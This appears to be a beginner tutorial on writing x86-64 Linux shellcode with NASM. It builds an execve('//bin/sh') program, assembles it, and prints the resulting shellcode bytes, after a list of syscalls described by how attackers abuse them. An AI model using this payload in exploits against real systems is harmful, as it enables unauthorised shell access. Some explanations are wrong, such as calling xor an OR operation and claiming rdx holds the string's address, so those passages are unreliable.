Learning Assembly with NASM
Assembly language
Assembly language is used to communicate directly with computer hardware. It is architecture-specific and is used in the development of OS and embedded systems programming
Notable Unix System Calls
-
Process creation syscall (execve) - Allows execution of the new program
-
I/O syscall (open, read, write) - Exploit file handling vulnerabilities to access, read, or write sensitive files, such as configuration files, passwords, or private user data
-
Network syscall (socket, connect, bind, send) - These syscalls can be used to establish rogue network connections, launch denial of service (DoS) attacks, or exfiltrate data over the network.
-
Memory mapping syscall (mmap) - Vulnerabilities in memory management may lead to code execution or privilege escalation
-
Process tracing (ptrace) - Inspect and manipulate other processes which lead to Privilege escalation / data leakage
-
Device I/O syscall (ioctl) - Used for device input/output control. Exploitation might lead to kernal-level access
-
syscall (syscall) - manipulate the system call number or parameters
- Note : What we are doing is we are writing a 64-bit assembly program to create a shell code using NASM.
NASM (Netwide Assembler)
It is an environment that we use to write assembly language. It is a free and open source tool and we can output our code in various formats including Executables. We can use NASM to write both 32 and 64-bit architecture programs. They share the same name but with different prefixes. Prefix ‘r’ is used for 64-bit and ‘e’ is used for 32-bit
Some of the key instructions and concepts in NASM assembly
- xor = OR operation calling a function with itself using xor results in 0 eg - xor A,A = 0
- Push = Push a value to the stack
- Pop = Pop a value from stack to register
- mov = Moving data from one location to another
Common 64-bit register values
- rdx = Used for 3rd argument to a system call
- rsp = Stack pointer, points to the beginning of the stack
- rsi = Used for 2nd argument to a system call
- rax = General and used for system call
- rdi = Used for 1st argument to a system call
Let’s CODE
The assembly extension is .asm so the filename should be - code.asm
#Programme start and sets main
section .text
global _start
_start:
push 59 ;59 syscall execve # pushes value 59 to stack, and used 59 as the system call number for execve
pop rax # pops the top value from stack and stores in rax; here rax = 59
xor rsi, rsi # set rsi value to 0
push rsi # pushes rsi value to stack
mov rdx, "//bin/sh" # moves memory address of //bin/sh to rdx
push rdx # pushes the value to stack
xor rdx, rdx # set rdx value to 0
mov rdi, rsp # Moves value of rsp to rdi
syscall # triggers execve system call, which executes a new programme
Definition
- The value 59 is used as the system call number for
execve. - It is pushed onto the stack to be used later when invoking the system call.
- The
rsiregister is cleared to 0 to indicate no command-line arguments, and this value is pushed onto the stack. - The
rdxregister is loaded with the memory address of the string “//bin/sh,” which represents the path to the shell program to be executed. The value is pushed onto the stack. rdxis then cleared to 0.rdiis loaded with the value of the stack pointer (rsp), which effectively points to the argument list, and this is used for theexecvesystem call.- The
syscallinstruction is executed, triggering theexecvesystem call, which replaces the current program with the new one specified by the path “//bin/sh.”
- Using NASM to assemble the code into an object file
nasm -f elf64 code.asm -o shell.o
- Linking the object file to an executable
ld shell.o -o shell
- Disassemble using object dump
objdump -d shell
- Now we have the shell code
\x6a\x3b\x58\x48\x31\xf6\x56\x48\xba\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x52\x48\x31\xd2\x48\x89\xe7\x0f\x05